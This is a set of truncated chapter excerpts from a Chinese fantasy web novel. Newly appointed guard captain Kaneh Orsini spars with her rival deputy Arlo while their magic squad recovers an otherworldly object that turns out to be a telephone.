《被宿敌复活后》 1. 重聚-1 《被宿敌复活后》全本免费阅读 新工作第一天,迦涅就迟到了。 好消息:她是所有人的顶头上司。 坏消息:粗略估计,她的下属超过半数对她并不服气。 而其中最不服气的就要数迦涅名义上的副手、十三塔卫队副队长阿洛。 此时此刻,迦涅手中就有一封署名阿洛·沙亚的信: “亲爱的奥西尼小姐, 由于传送阵损坏,您无法按时抵达千塔城。对于这一不幸事件,我深感遗憾。 您不用担心,依照原定计划,十三塔卫队的授勋仪式已经于昨日顺利举行。我作为副队长代您出席了仪式,也处理好了所有相关事宜。 写这封信时我正在路上,前去执行卫队的首次行动,回收某件来自异界的漂流物。也在刚才,我得知黑礁的传送阵终于恢复运作了。那么在您回到千塔城的宅邸时,这封信应该能第一时间送到您的手里。 行动地点附近没有传送阵,如果劳烦您从千塔城再次动身和我们汇合,在您抵达前事件就很可能已经解决了。况且旅途滞留想必相当辛苦,请您好好休息,不必勉强奔波。漂流物回收后我会择日向您报告详情。 期待与您见面,预祝我们共事愉快。 您忠诚的副手敬上, 阿洛·S” 迦涅瞪着落款,吸气,吐气,反复深呼吸。阿洛的字迹潇洒,用的还是醒目的浓绿色墨水,在她眼里每一笔都张牙舞爪,像在故意戳她的神经。 “忠诚的副手敬上,”她拿腔拿调地念出声,冷笑起来,“哈!很好,好极了。” 身侧传来低沉的鸣叫,迦涅循声看去,一头雪白的骏鹰疑惑地歪了歪脑袋,显然不理解主人为什么突然情绪激动。 见鬼的阿洛!迦涅把信纸揉成皱巴巴一团,抬手就抛给骏鹰。 鹰头马身的翼兽张开巨喙,衔住纸团后迟疑了一下。 看吧,这种废纸不仅不值得她浪费魔力点燃,就连贪吃的骏鹰都看不上——迦涅才这么想,就看见骏鹰一口吞下了纸团。 不仅如此,这家伙居然连声欢叫,甚至俯身凑近,要把她手里的信封也衔走。 迦涅脸都要黑了:阿洛大概是用魔力操控笔墨写的信,信纸信封上残留了少许魔力;而在魔法生物的认知之中,任何带有纯粹魔力的东西都值得吃掉。 “不许吃!!”她咬牙切齿地命令。在骏鹰困惑又惋惜的注视下,她打了个响指,信封起火,眨眼间化作黑灰落地。 零食灰飞烟灭了,名为小雪的骏鹰悻悻拍打翅膀,带动背上的鞍具摇晃,催促迦涅上鞍出发。 阅读信件过于投入,她差点忘了自己来鹰舍是干嘛的。 魔法阵修好之后,迦涅立刻传送回千塔城。一踏进这片大陆的权力中枢,她就从其他渠道得知了许多事:比如阿洛坚持如期举办授勋仪式,还有卫队不等她到来就首次出动的目的地。 闻讯,她立刻牵出骏鹰,准备飞驰过去让所有人见识一下谁才是队长。 也在那个时候,阿洛的妖精信使到了。 副队长阁下文采惊人,迦涅明明已经知道他干了什么好事,还是被他的来信气得失态。 十三塔卫队是全新成立的官方组织,迦涅是十二贤者议事会钦点的队长。阿洛完全可以推迟授勋仪式等她回来,但他偏不;事件既然可以轻松解决,说明事态根本不紧迫,他却还是今天就带着队员动身。 阿洛在信里假惺惺的,做出的每个决定却都透露出真实想法: 他阿洛·沙亚,就是不服迦涅·奥西尼这个从天而降的上司!十三塔卫队的前身组织‘银斗篷’由他说了算,现在正式成立的卫队依然由他说了算。 授勋仪式她已经没赶上,如果再没赶上第一次集体行动,再下一步,是不是就该换个人来当十三塔卫队队长了? 迦涅一扯嘴角:“想得美。” 愤怒到极致,她反而冷静了下来。阿洛说得没错,行动地点在北部河谷,即便她现在骑骏鹰出发,也很可能赶不上。 但她另有办法。 迦涅解开鹰马背上的鞍具,抚摸着翼兽靠过来的大脑袋,声音柔和,和刚才发脾气时判若两人:“抱歉,计划临时有变,之后再和你出去兜风。” 在骏鹰不满的嘀咕声中,她离开鹰舍,走进宅邸正中心高耸的白色塔楼。 有名有姓的家族在千塔城都拥有一座高塔。奥西尼是这片大地上最受尊敬、最古老的家族之一,自然不会例外。 迦涅独自拾阶而上。塔内没有窗户,不点火烛,稀薄的微光从遥远的塔顶洒落,恰好足够照亮螺旋上升的纯白石阶、以及墙上的一个个画框。 肖像主人年龄各异,大都是女性,穿着不同时代的衣服,却全都与迦涅外貌特征相同:白发无丝毫杂色,眼眸是同一种罕见的澄黄——黄金的颜色、也是传说中龙的瞳色。 每代背负奥西尼家族的魔法传承之人都是白发金瞳。终有一日,迦涅也会出现在这座塔中的某个画框里,沉默地注视下一个白发金瞳的奥西尼在画外经过。 但今天她是爬塔的那个。 经过最新、位置最上的那个画框时,迦涅驻足。 这幅肖像画的主人是伊利斯·奥西尼,名义上的现任家主、同时也是迦涅的母亲。画作捕捉的是她继承家主位置时的模样,二十八岁,那时候迦涅还没有出生。 年轻时候的母亲让迦涅感到陌生。她与沉静微笑的白发女性对视,仔细地端详画中人的脸,仿佛在照镜子,又像在寻找什么。 迦涅继承了母亲的一部分特征,嘴唇很薄,下颚轮廓线锋利。她的鼻子与某位姑母非常相似,眉眼却和谁都不像。至于她的父亲,恰如他缺席她至今为止的人生,在她的脸上很难找到父亲的痕迹。 很快,迦涅重新转向正前方。 “我不会让你失望的。”低语飘落长长的螺旋台阶,而足音继续攀升往上。 抵达台阶尽头仿佛花了相当长一段时间,实际上塔外时间仅仅流逝了片刻。魔法名门的骄傲渗透进一砖一石,这座塔楼完美示范了何为简单精巧的空间魔法。 自塔顶俯瞰,日落时分,城区错落起伏的穹顶和尖塔是一片绵延至天际的瑰丽石头森林,迦涅却没心思欣赏美景。她从衣袖中摸一枚黄水晶灵摆,将银质链子绕手掌缠了两圈,往水晶上灌注魔力,凝神冥想某个地名。 锥形黄水晶立刻朝着西偏北的方向持续摆动。 迦涅清声念诵。 有力的短句韵律独特,像命令,像赞叹,也像祈使。随着她唇间吐出一个又一个音节,先是空气开始震动,而后流动的夕阳也仿佛拥有了实质、变得厚重而粘稠。 以年轻的法师为中心,某种质的改变正在扩散。 很快,她的身周凝结起一层肉眼可见的虹彩光晕。 与此同时,邻近两座塔顶勾勒出人影,居住在同一个区域的法师被迦涅魔力的余波惊动了。迦涅见状完全不慌张,反而勾起了唇角。 观众越多越好。 之前三年,她一直待在某座孤岛上的修道院里,没日没夜地钻研家族魔法传承。不仅是她,奥西尼这个姓氏已经在千塔城沉寂数年。 担任十三塔卫队队长是迦涅、也是奥西尼家族回归魔法之都的第一个动作。 阿洛·沙亚用实际行动对她宣战,公然冲击她身为队长的权威,那么她当然要在所有人面前反击回去,用最惹眼、最直接的方式: 阿洛是所有人口中的魔法天才,但谁还不是一个天才了? 在绝大多数法师眼中,依靠自身 2. 重聚-2 《被宿敌复活后》全本免费阅读 阿洛·沙亚是毋庸置疑的天才。 他没有显赫的姓氏,并未依附任何一座魔法学府,却年纪轻轻就自创魔法体系,成功晋升魔导师。 对于有至少一百种延寿方法的魔法界人士来说,在四十岁前都只能自称学徒,年复一年地学习师长传授的魔法,年过半百才终于升格为正经魔法师……这样的人生节奏是完全正常的。 至于魔导师头衔,那是大多数法师终生难以企及的妄念。 ——魔导师阿洛今年二十三岁。 与这一点相比,阿洛张扬的行事风格和出挑的外貌,反倒只是细枝末节。 所以,哪怕是阿洛数量众多的敌人们,也不得不恨恨承认,他确实是个本世纪罕见的天才。当然,免不了紧接着再补充“邪门歪道的天才只会带来灾难”诸如此类,用以挽回自尊。 而当阿洛意外错失十三塔卫队队长头衔,只是看起来健忘的千塔城市民们这才顺理成章地记起来,五年之前,不,确切说至少三年前,那时候人们用“天才”这个词指代的还是另一个人: 迦涅·奥西尼,出生在名门中的名门,早早锁定奥西尼家正统古典魔法的继承人位置,十岁就走完别人二十年走完的路,十五岁打破最年轻魔法师升格记录,总之是家世和实力都无可挑剔的教科书式强者。 而现在,这两位天才就在一座普通小镇上不那么普通地碰面了。 迦涅悬停半空,居高临下地俯视阿洛。 阿洛与她金黄色的双眸对上,几不可察地怔了一下。他的视线滑向她的白发,而后回到她无表情的脸上。 数秒漫长的、冷冰冰到让夏日傍晚渗透出寒气的对视。两个人都没有开口的意思,好像谁先出声,谁就在会这局角力中落下风。 很突然地,阿洛弯唇笑了。笑意没有抵达浓绿色的眼底。 迦涅更加用力地瞪他。 “奥西尼小姐,”他装模作样地欠身行礼,姿态赏心悦目,“您没收到我刚刚给您送去的信件?我在信里说了,这个事件不棘手,没到需要劳烦您才回千塔城就立刻赶过来的地步。” 迦涅百分百确认这家伙没安好心:如果她承认收到了那封信,就是宣告她这个队长没打算当摆件,铁了心要从阿洛的手里夺取实权;而若是顺着对方的话、装作没那封信,就是退一步,默默把那口气咽回肚子里。 魔法之都千塔城不愧是勾心斗角的竞技场,这家伙在一群老东西里混了几年,也会这么弯弯绕绕恶心人的政治手段了。 可她什么时候是会把气往下咽的人了?奥西尼家供奉的神话生物是龙,而龙的脾气嘛……众所周知。 “呵,”迦涅嗤笑出声,“信我收到了,我家的骏鹰很喜欢。” 阿洛扬了扬眉毛。其余四个队员面面相觑。 她抬高下巴,不疾不徐地补充:“它很喜欢信的口感。” 数拍愕然的静寂。所有人好像都没反应过来——毕竟不是所有人家都能驯养神奇生物,但如果把骏鹰换成别的动物,比如说狗,迦涅的话就一下子好理解极了。 某个队员震惊地抽了口气。刚才那个挥舞法杖的法师反应更直接,杖尾往地上重重一锤,对迦涅怒目而视。 阿洛好像也没想到她的敌意会那么露骨,沉默了片刻,才再次露出讨人厌的好看笑容:“是吗?既然小雪喜欢,之后我会多给您写信的。” “那么就拜托你了,”迦涅也不客气,“请每天准备一份当日报告,不用很详细,归纳卫队出动记录、重要的物资购入和消耗、还有和其他机构的往来,其他需要注意的事项也写进去。 “如果无事发生就写无事发生。差不多这样就可以了。还有,报告一份留档,一份抄送给我。” 如果他瞒报什么重要事项,有留档的报告比照,迦涅发现了就可以对他问责。 阿洛眯了眯眼睛,没有搭腔。 “每天写一份报告或许对忙碌的副队长来说太困难了?”迦涅宽容地改条件,“隔天给我一次,甚至一周一次也可以。” 阿洛终于没有再笑。他看了她片刻,平静地说:“奥西尼小姐,我不是您的私人秘书。” 他不笑的时候,磨砺出来的圆滑老成便如同一件挂不住的外套,毫无预兆地滑落,露出一身硌人的硬骨头。 迦涅清楚看到那四个队员在疯狂交换眼神。他们好像很少见到阿洛露出这种表情。 也是,她在心里冷笑,想都不用想就知道,阿洛平日肯定维持一副懒洋洋的亲切做派,鲜有人知道他其实比谁都要高傲。 她讨厌阿洛的轻挑虚伪,更讨厌他假惺惺地叫她奥西尼小姐。他肯定在提醒她,他们两个之中他才是需要以‘阁下’称呼的那个——魔导师的诸多社会特权之一。 迦涅的声音愈发冷峻:“现在是工作场合,请叫我队长。” 对方很‘配合’:“队长小姐,我不是您的私人秘书。” 她气笑了:“副队长阁下,如果您觉得不带任何后缀的队长太烫嘴,您干脆先休个假,去治疗一下舌头不听使唤的毛病怎么样?” 彻底降临的夜色一视同仁地给每个人蒙上面纱,小镇教堂暗着,队员法杖顶端的宝石是广场上唯一的光源,副队长阁下的绿眼睛里像有幽幽的火苗在跳动。 阿洛被激怒的时候眼睛总是特别明亮。迦涅看不清他的表情,却不知怎么从他恼怒的轮廓中读出一丝失望。 失望?失望什么? 阿洛却在这时突然再次笑出来,用最善解人意的语调说道:“那可不行,在我入院治疗之前,我得先确保您的臆想症痊愈了,不会再编造出一些不存在的职责扣在其他人头上。” 迦涅深呼吸,蓦地降落到地,朝阿洛大步靠近。阿洛瞳仁一缩,手下意识地探向腰后武器。 “那个……”忽然有第三人的声音响起。 迦涅和阿洛都嚯地转头,循声看去的节奏完全一致。 四名在场队员中的娃娃脸青年举着手。他在队长和副队长的双重高压凝视下缩了缩脖子,竟然没被吓倒:“那个,我是卫队的 3. 重聚-3 《被宿敌复活后》全本免费阅读 谁不肯握手谁就小心眼又没胆子。 阿洛的挑衅意图昭然若揭,但该上钩还是必须上钩,迦涅恨恨咬牙,抬着下巴,面无表情地伸出右手。 两人的手靠近再靠近,指尖即将相碰。 就在这个瞬间,呲——! 只听一声轻轻的爆鸣,冷色火花迸发,无形的力量迎面相撞。 两人的手尚未相碰就双双弹开。 在场所有人都吓了一跳,除了当事的队长和副队长。 毕竟都是法师,目击者们也很快恍然大悟:刚才的动静来自护身魔法相撞的火花。迦涅和阿洛都提防着对方趁握手释放攻击魔法,于是默不作声地使用了护身咒,在手上凝聚了一层防护罩。 结果就是相同性质的魔法相撞,这个手终究是没握成。 了然之后队员们的表情顿时变得奇妙,尤其是刚才用法杖敲地抗议的那位法师,她仍旧冷着脸,注视迦涅的神色却明显复杂起来。 “哇——这种对魔力的精妙控制,我大概一百年都学不会!”芬恩仿佛察觉不到微妙的气氛,笑吟吟地感叹,点破其他人难以启齿的惊异和羡慕。 护身咒是基础中的基础,魔法学徒入门往往从这里学起。然而不念咒语、不借助法杖魔法书之类的媒介,甚至连手势都没做,这两人居然就都施展出了只包裹固定部位的魔法……这在普通法师们眼里完全就是毫无人性的炫技。 迦涅却毫无露了一手的成就感。 她很懊恼,懊恼极了。她就不该施护身魔法的! 如果她没有多此一举,就只有她的手会被阿洛的防护罩弹开,阿洛这家伙就会在众目睽睽下暴露自己的卑劣本性: 明明是他主动要和她握手,结果他却恶意揣测她,多狭隘可笑!而那种情况下,奥西尼队长当然是更加大度成熟的那个了。 多好的让阿洛丢脸的机会,她居然就那么错过了! 迦涅努力控制着表情,不意间望见阿洛嘴角撇了一下,他显然在为同样的事情后悔。她忽然就更懊丧了。 她怎么沦落到和这家伙在意同一件事的地步了?! 也在这时,两人的眼神对上了。 阿洛立刻收起懊恼的小表情,给她一个让人牙痒的友好微笑。 “富勒先生,”阿洛的脸看着就让迦涅心里冒火,她索性无视对方,转头去问对她态度相对客气的娃娃脸青年,“我没来得及了解行动的具体情况,能请你介绍一下吗?” 芬恩于是从最基础的开始介绍:“您也应该知道,我们要收集的所谓异界漂流物,是——” 迦涅皱着眉打断他:“我知道什么是异界漂流物。” 他们所在的这片大陆名为玻瑞亚,各处会出现连通其他世界的‘门’。 跨世界通道开启的时间地点并无显著规律,天长日久,难免有来自异世界的物品乃至生物偶然穿过门,流落到这个世界。 漂流物大多数都是无害的,但也不乏危险品,最极端的情况下,有的甚至可以成为孵化扭曲世界的种子。十三塔卫队的主要职责就是回收这些异界漂流物,防止他们在这个世界滋生祸患。 芬恩讪讪摸了摸鼻子,迦涅继续发问:“这次的漂流物在哪?” 芬恩正要回答,阿洛突然抢白:“在那边的酒馆里,招牌是人鱼的那家。” 迦涅循声侧眸,与阿洛对视了好几秒。她不明白他怎么突然逆转态度,主动提供信息,不再露骨地将她排斥在卫队事务之外。 但无所谓,对方既然愿意暂时放下私怨,她也可以公事公办。于是她追问:“确定是异界漂流物?检测仪有反应?” 阿洛发明的魔法仪器能够感应到不属于这个世界的气息,具体工作原理不明,或者说阿洛藏着掖着,没有公开。据迦涅所知,阿洛以前带人回收漂流物前,总是会用这种检测仪确认目标的大致位置。 听到空降的队长吐出熟悉的内部专有名词,芬恩和其他三个队员明显愣了一下。只有阿洛没什么反应,淡淡回答:“确定,检测仪有反应,就在这个广场附近。” 迦涅见状蓦地烦躁起来。这是阿洛希望她看到的吗? 卫队成员好像都认为她只是个仗着家世从天而降的无知局外人,于是她每表现出一点对于卫队内部情况、漂流物回收流程的了解,都会引来惊异的侧目。 拜托,她确实今天才回到千塔城就任,但不意味着她毫无准备。 她此前待了三年的海岛就连妖精信使都无法抵达,可以说完全与世隔绝,但只要她想要,任何东西都会送到她所在的修道院里。 比如十三塔卫队的人事档案,再比如针对卫队前身“银斗篷”的诸多调查报告。 ——奥西尼永远不会空手而来。 迦涅几乎可以肯定,这一刻阿洛也在心里默念这句流传甚广的箴言。古怪的、称得上失望的情绪随之涌上她的心头。 她预见到队员会对她抱有敌意,也准备好了和阿洛针锋相对,但她好像唯独没想到阿洛会默认虚假的传言,借此让所有人对她不抱任何希望,进而逼她知难而退。 即便是阿洛,这手段好像也太卑鄙、太不入流了。 可他已经以实际行动架空她这个队长,还有什么是他做不出来的?她从众人视野里消失了三年。超过一千个日夜的时间足够让很多事、很多人永远改变。 “具体来说,是什么样的东西?”迦涅的声调比刚才更加冰冷。 阿洛察觉她的态度变化,眯了眯眼睛:“一个据说能与亡灵交流的盒子。” 迦涅望着酒馆水蓝色的人鱼形金属招牌,那抹亮色在夜里依然明媚抢眼,很难联想到黑暗邪恶。她忽然调转视线,扫过阿洛带来的四名队员,哼了一声,又进入了到处挑刺的状态:“你原本预估危险性不高,所以只带了四个人?” 不仅如此,他还特意阻止她同行,结果到了甘泉镇却发现事情比预想中严重许多,于是急急忙忙让队员展开各种防护魔法? 活该。她在心里骂道。如果她没来,说不定会闹出大事。 与死亡领域有关的魔法向来由少数家族和学府管制,这个消息如果传出去,一定会 4.重聚-4 《被宿敌复活后》全本免费阅读 两个人都一僵。 迦涅的手像被一团火笼罩,干燥的、骨节分明的火。与魔法学徒长年握羽毛笔抄写出茧子的十指不同,阿洛的指腹和掌心触感更硬更粗粝,全都是摆弄机械留下的痕迹。 她下意识要抽手,随即一咬牙,攥紧了皮箱搭扣不动。要动也该是他动。 阿洛指尖无措地松弛了些微,却没挪走。 “拿开。”她瞪他。 他缓慢眨动了一下眼睛:“我来打开箱子。” 她深吸气,一个词一个词地申明:“我先摸到的,我来。” 阿洛笑笑地反驳:“说不定里面真的藏着危险物。” “你刚才还说不觉得里面有亡灵魔法。” “但您刚才也说缺乏直接证据,那么我怎么能让大小姐以身犯险?” ‘大小姐’这个称呼是对着迦涅的太阳穴而来的重重一锤,强烈的愤怒在颅内突突地跳,她险些浑身发抖。她控制住身体,向阿洛投去只能解读为“闭嘴”的冰冷一瞥。 他居然真的噤声了,又一次安静地翻动眼睫,沉默的侧颜没有表情。 咔哒,迦涅掰开搭扣,阿洛却蓦地发力压住她抬起箱盖的手。 她用余光瞥见楼梯上的队员见鬼似的惊愕表情,压低声音低喝:“你要在每件该死的小事上和我争吗?!” 刚才两人之间一臂的距离不知什么时候缩短到衣摆相接,在近处看时阿洛的眼睛绿得吓人。他的声音里流动着压抑的怒气:“这句话我可以原封不动地奉还。” “哈,”迦涅嗤笑,猛地转头看向皮箱,嗓音清脆地命令,“打开!” 优秀法师吐出的命令词句具有魔法意义,足够打开任何容器。皮箱听从指令,盖子砰地朝上掀,两人的手最后交错了一下,落回各自身侧。 人鱼酒馆陷入屏息的寂静。 “哇哦。”最先开口打破微妙气氛的还是芬恩,此情此景,很难判断他究竟感叹的是迦涅和阿洛的较量,还是箱子里的东西。 箱子里躺着一个木质长方形盒子。 最抢眼的是盒子外侧的两个铜色金属半球,它们并排紧挨着,像一对中间凸起的眼珠;下方鼻子的位置是一个镶嵌在木头上的更小的黑盒子,再往下,一个同样奇怪的黑色部件伸出来,圆形中空,宛若张开的嘴。 盒子右侧有个小小的发条把手,似乎可以旋动;左侧则挂着一个酒杯似的东西,上窄下宽向外打开,纤细的末端用一根奇怪的缆绳与盒子连接。 它看起来确实古怪极了,像一幅审美堪忧的脸部立体简笔画。 只是迦涅觉得亡灵不长这样,异世界的亡灵也应该不至于是这种面貌。况且她从这东西上感觉不到任何邪恶阴森的气息。 “这、这是什么!”站在门边的队员之一却紧张地举起了法杖。另外三人像是被提醒了似的,从震惊中回过神来,各自做出预备战斗的态势。 迦涅不太情愿地看向阿洛。 阿洛垂眸盯着这个‘能听见亡灵声音的盒子’看了许久,忽然抬手抹了一把脸:“警报解除,所有的防护魔法全都撤掉。” 队员们愣愣的没反应,他哭笑不得地摆手:“睡着的都醒醒,该动一动了。” 法师们忙乱地出门撤销布下的昏睡和守护魔法,迦涅看了一眼困惑地在门口徘徊的酒馆老板,硬邦邦地问:“所以这是什么?” 阿洛心情明显好了很多,他把那个酒杯一样的东西拿在手里掂了掂:“这个东西叫电话,是艾洛博人用来长距离交流的新发明。” 艾洛博是与这个世界打通的门最多的一个世界,也是阿洛许多独创魔法器械的技术来源。 “那边的老先生,很可惜,你购买的这个盒子没办法让你与亡灵对话,”他笑嘻嘻地招呼酒馆店主,“它得固定在墙上,用很长的线和其他……呃,等同是驿站的东西连在一起,总之它在我们这里就是个安全的大盒子。” “所以……我真的被骗了?这盒子没法让我和亡灵说话?”老板也走到吧台边,小心地抚摸着箱子外缘,语气中难掩失落。 “是谁把这东西卖给你的?”迦涅理所当然地问话。 “一个行游商人,大半个月前来我们这儿的,待了两三天吧。他带的货稀奇古怪,什么都有,而且最稀奇的是,他做生意不自己开价,反而由买家定出多少钱。” 迦涅和阿洛都面色微动。两人的视线碰到了一起,迦涅立刻别开脸。 阿洛态度自然地追问:“这么说的话,肯定有不少人和他做交易了?” “那当然,好多人都低价买了点必需品,还有装饰的小玩意。就连那边教会的大人都没忍住呢,”老板朝门外一努嘴示意,广场另一侧就是暗着灯的教堂,“但只有我买了这么个大件,镇上的人都知道。” 说到这里,老者搓了搓额头,有些唉声叹气:“那商人夸我眼光好,说这是什么异世界的宝物。都说贪婪招魔鬼,我怕出钱太少招惹到盒子里的东西,就没敢贪心,还给了那商人好大一笔。现在一想,这可不就是他用来坑钱的招数!” 迦涅想了想就明白了:那个行游商人以顾客自由定价为噱头,吸引大量看热闹的人。只要有一两个愿意付重金购买‘宝物’的人,低价卖出其他货品的损失就会轻松填平,还能附加收获可观的额外利润。 巧合就巧合在兜售的商品之中,恰好真的有一件来自异界的东西。 “我猜那个商人也不知道自己在卖什么,”阿洛拍了拍店主先生的肩膀,“您该庆幸没有真的买到能和亡灵沟通的魔法道具,否则我们可能就要用降灵术和您的鬼魂沟通破案了。” “我知道亡灵魔法很危险,但是——”酒馆老板抄起一把鱼嘴型的金属勺子,叩了叩桌面,三个杯子立刻飞上吧台,蹦跳了一下凑到吧台后方的巨大酒桶边上。 这位老者显然有一定魔法资质,玻瑞亚大陆上过半数居民都和他一样,多少能够感知到魔力。 只是绝大多数人的资质不足以正式成为学徒,只能借助道具施展简单的魔法。 至于没有魔力资质的另一半人,只要钱包足够充盈,他们也可以用石英之类的储能魔石代替自身魔力,启动魔法道具。 酒馆的酒桶就是这样一件魔法道具。桶身铁箍上镶嵌着紫石英。察觉到酒杯靠近,酒桶外接的龙头自动开启,调整角度,将酒液分别倾注进每个酒杯里。 其中两个杯子推到了迦涅和阿洛面前,浮在深棕色液体表面的丰盈泡沫晃了晃,几乎要溢出杯沿。 “招牌麦酒。” 迦涅轻声道谢,礼貌地举杯喝了一小口,立刻咳嗽起来。好苦! 阿洛余光动了动,酒馆老板歉然笑起来,眯起的眼睛几乎要藏进白色的眉毛里:“给这位年轻的女士换杯别的?” “姜汁汽水。”阿洛即答,说完自己先莫名沉默了。 迦涅眼睫微动,她没有看他,双手捧住直筒型的大酒杯:“不用,麦酒就可以。” 酒馆老板若有所思地捋了捋胡子,什么都没察觉似地询问:“说起来,我真的不用交代为什么会买可疑的魔法物品?” 阿洛表情已经恢复正常,他先喝了口麦酒,向老板举杯表达赞美,而后才耸肩回答:“您不愿意谈的事,我一句都不会问,您或许听说过银斗篷的办事风格,现在换了个名字也没有改变。当然,我不会拒绝一个好故事下酒。” “没什么好故事,”老板豪迈地将麦酒一饮而尽,“我爹是个酒鬼,他喝醉之后把一笔钱埋在了只有他知道的地方,清醒的时 5.幻灭-1 《被宿敌复活后》全本免费阅读 四位队员完成善后工作就急冲冲往美人鱼酒馆赶,害怕如果到得迟一些,那里就会被大规模魔法夷为平地。 然而他们想象中灾难过境的惨状并未出现,招牌上的人鱼依然好好地悬在原位,热情展示自己美丽的水蓝色鳞片。 迦涅和阿洛都靠在酒馆吧台边,节奏一致地回头。 “都处理好了?”阿洛看着略微气喘的四人,朝吧台上锁好的皮箱一努嘴,“东西在这。好样的伙计们,我们可以收拾收拾回家了。” “也就是说我们可以开酒会了对吧!”芬恩兴奋地抬高声调,带头怪叫,“请客!阿洛请客!” “请客!请客!请——” 笃的一声,酒杯叩击木质桌面。 起哄声戛然而止。 迦涅紧紧抓住酒杯,一时之间忘了松开。她真的不是有意在这个时候搁下杯子的!可是都已经无意间摧毁了小队内部的欢乐气氛,她不介意将反派扮演到底。 决定了,她要先表露出些许诧异,仿佛不知道所有人为什么突然间不说话了,然后再优雅和气地请所有人继续,最后宣布她也会参加酒会,要和下属们改善关系。 硬挤进去的社交场合不会自在,但既然其他人……尤其是阿洛也不会舒服,那么她可以稍微委屈自己。 于是迦涅再次慢悠悠地端起杯子,顶着所有人的视线喝了一口麦酒。泡沫和香气散尽之后酒液涩得她舌头发麻,她差点把脸皱起来,强忍住了。 阿洛唇线动了动,像在憋笑。 迦涅就当没注意到,正要开口,阿洛却轻咳两声:“现在我们好歹是有正式勋衔的卫队了,完成一个小任务就开酒会不太合适。而且我明天在千塔城还有点事要处理,请客下次吧,你们挑个中意的好地方。” 迦涅讶然,他是看出她的打算不想和她耗一晚上,还是……她掐断了这串念头,将注意力转移到其他人身上。队员们脸上也尽是惊讶。 “也是,从这里回千塔城也要时间。” “啊对了,明天我也有安排。” 众人很快反应过来,含糊地附和着,不再提请客喝酒的事。芬恩小心地瞟了迦涅一眼,弥补过失般主动提出:“那么我现在就去把马车赶过来。” 迦涅这才想到还有怎么回千塔城这个问题。 “如果我没猜错,您是直接飞过来的?”阿洛这时踱到她身侧,又用回了假惺惺的敬语。 她警觉地盯住他,矜持地哼了声算是应承。 黑发青年往店门外眺望了整整一圈,寻找不存在的代步工具,而后才恍然大悟似地惊叹:“难道您没来得及安排人来接您回去?” 迦涅嘴角抽了抽,没有搭腔。她走得匆忙,一到甘泉镇就对上阿洛,根本没空想起派人接应的事。 “马车上还有空位,如果您不介意,可以和我们一起回千塔城。”阿洛这话一出,挤在门边闲聊的三个队员虽然努力克制表情,但注意力显然全都集中在他们这里。 “我可以再——”拒绝的话语到了嘴边,迦涅突然收声。 她当然可以再原路飞回,阿洛肯定也拿准了她会拒绝他的提议。 刚才队员们返回之前,他们就无话可说地耗着,气氛糟糕到酒馆老板忍不住找理由再度离开。所以阿洛的邀请不可能真心实意—— 他的目的有且只有恶心她,顺便再给她和卫队成员接触制造更多阻碍。 那她就偏不让他如意。 再说了,队长借用卫队成员的车马理所当然。 “好。”迦涅向阿洛露出用心险恶的微笑。她在他脸上捕捉到一瞬间的错愕,顿时大感满意。 这种快慰在她踏入阿洛的马车那刻便消散了。外面看起来平平无奇的车厢内部颇为宽敞,布置成一个小型会客厅,两侧摆了长沙发坐榻,他们之外再塞五六个人也完全没问题。 与阿洛散漫的作风截然相反,这里极度整洁。卷轴分门别类码放在架子上,书桌上找不到任何杂物,几本硬皮魔法书旁摊开一沓干净的羊皮纸。羽毛笔悬停在墨水瓶上方,随时预备接受命令沾墨书写。迦涅怀疑那封骏鹰吃掉的信就是在这里写的。 这种用空间魔法拓展过的马车奥西尼家当然也有,眼前的陈设也远远称不上豪华。但昔日一无所有地离去的家伙现在有了与魔导师身份相称的排场,迦涅说不清自己究竟是什么心情。 “请坐,要喝点什么吗?”阿洛笑笑地问。 她还没作答,余光里突然人影晃动。持发光法杖的那个队员探头进来,清秀的脸有些紧绷:“芬恩太吵了,我可以搭这辆马车吗?” 阿洛抬了抬眉毛。 紧接着芬恩也扒着车门出现,一脸诚恳地说:“雷占用的空间太大,和他并排坐着我不舒服,我也想换一辆马车坐。” 被点名的壮汉在娃娃脸青年身后挥了挥手臂抗议,语调慢吞吞的:“那不公平,只有我和露露在,车厢遇到强风就容易侧翻。不要忘记,我们那辆没有高级魔法防护。” 名为露露的女性法师短发猫眼,身材像个刺客,她抱臂站在小山一样的雷身侧,很容易被忽略。她的嘴里吐出一个五角星形状的烟圈,空气里顿时弥漫着糖果的甜香:“所有人都跑这里来了,只剩我在后面车上,我不就什么好戏都看不成了?我不干。” 阿洛看着四个队员,无奈地闭了闭眼。 迦涅的目光在这群人之间来回移动,慢了数拍终于反应过来:这些人一个两个都担心她会‘欺负’阿洛,所以干脆全都找了借口挤上这辆马车。 “我不打算在这里谋杀副队长。就算要动手我也不会选在他的马车上。”迦涅一本正经地道。 车厢内外顿时陷入尴尬的死寂。 “你们也听到了。”阿洛噗嗤笑出声,挥挥手示意队员们回去。 迦涅却抓住机会提议:“我倒是不介意所有人都坐这辆马车。刚才错过了好时机,路上正好让我和大家聊聊。” 阿洛表情古怪地盯了她一眼,她迎着他的注视反问:“这里很宽敞,不至于容不下所有人吧?”没等他答话,她就向犹豫不决的队员们露出友好的微笑,一副主人翁姿态:“请坐。” 不久之后,飞马舒展羽翼,拉着两辆马车驰上天空。后方的那辆空置,前方的车厢中除了六名乘客,还塞满了欲言又止的微妙空气。 “我再自我介绍一次,我是迦涅·奥西尼,你们新上任的队长。”迦涅看向右手边的女性,对方下意识抓紧了法杖。 四名队员中对迦涅敌意最明显的也是这位持发光法杖的法师。 “这是把有来历的法杖,而且受到了几代人满含关爱的养护,”迦涅的话让对方一愣,她念出对方的名字,“艾尔玛·索博尔小姐,对吧?” “是……我就是艾尔玛。”褐发法师别开脸,没有和迦涅对视。 “你的防护魔法非常隐蔽,大多数人无法和你一样既保证魔法壁足够坚硬庞大,同时出色地隐匿魔力波动。那需要对魔法原理透彻的理解,还有精细稳定的魔力操纵。给你这把法杖的人一定会为你骄傲。” 艾尔玛张了张口,水蓝色的眼睛茫然地闪烁了几下。她下意识想否定迦涅的称赞,耳朵却不禁略微泛红。 挣扎了片刻,她终究没正驳斥迦涅的话,只压着视线含糊地喃喃:“这是我外祖母用过的法杖……” 那之后迦涅逐个搭话,先称赞露露的沉睡魔法既强力又温和,再对雷宽阔肩膀上停靠的整排稀有元素精灵表达赞叹、期待见证它们施展威力的那天,最后再适度对芬恩涉猎广泛不拘泥于一种魔法做出肯定。 队员们的反应不一,但难免都表露出些微无法自控的惊喜。 他们当然知道迦涅在强硬地拉近关系,可这位奥西尼家的大小姐对他们魔法的评判实在精准透彻,每一句都踩中他们多年潜心磨砺的重点——就好像她和他们并非第一次相见,而是见证了每个人是如何走到当今这步。 